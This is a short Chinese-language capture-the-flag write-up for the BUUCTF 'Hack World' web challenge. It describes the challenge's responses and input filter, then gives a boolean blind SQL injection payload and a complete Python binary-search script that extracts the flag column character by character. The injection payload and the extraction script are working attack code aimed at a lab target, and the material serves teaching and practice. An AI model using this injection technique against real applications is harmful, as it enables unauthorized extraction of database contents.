題目連結:[CISCN2019 華北賽區 Day2 Web1]Hack World。
開啟環境後如下所示。
嘗試輸入 1、2、3、4、...,發現僅存在三種結果。
即 1 時,輸出 "Hello, glzjin wants a girlfriend."。
2 時,輸出 "Do you want to be my girlfriend?"。
其他,輸出 "Error Occured When Fetch Result."。
且存在對使用者輸入的檢測。
還有個意義不明的資訊。
透過 fuzzing,可以發現後端對什麼關鍵詞進行了檢測。
因此,這裡使用布林盲注進行讀取資料(題目中存在提示,只需要讀取 flag 表中的 flag 欄位)。
Payload:if(ascii(substr((select(database())),1,1))>99,1,2)
。
# 二分法
import requests
url = "http://75073420-9c74-41e5-b9fb-6bfe86d0efc8.node5.buuoj.cn:81/index.php"
flag = ""
i = 0
while True:
i = i + 1
letf = 32
right = 127
while letf < right:
mid = (letf+right) // 2
payload = f"if(ascii(substr((select(flag)from(flag)),{i},1))>{mid},1,2)"
data = {"id":payload}
res = requests.post(url=url, data=data).text
if "Hello" in res:
letf = mid + 1
else:
right = mid
if letf != 32:
flag += chr(letf)
print(flag)
else:
break
參考:
- [CISCN2019 華北賽區 Day2 Web1]Hack World --BUUCTF。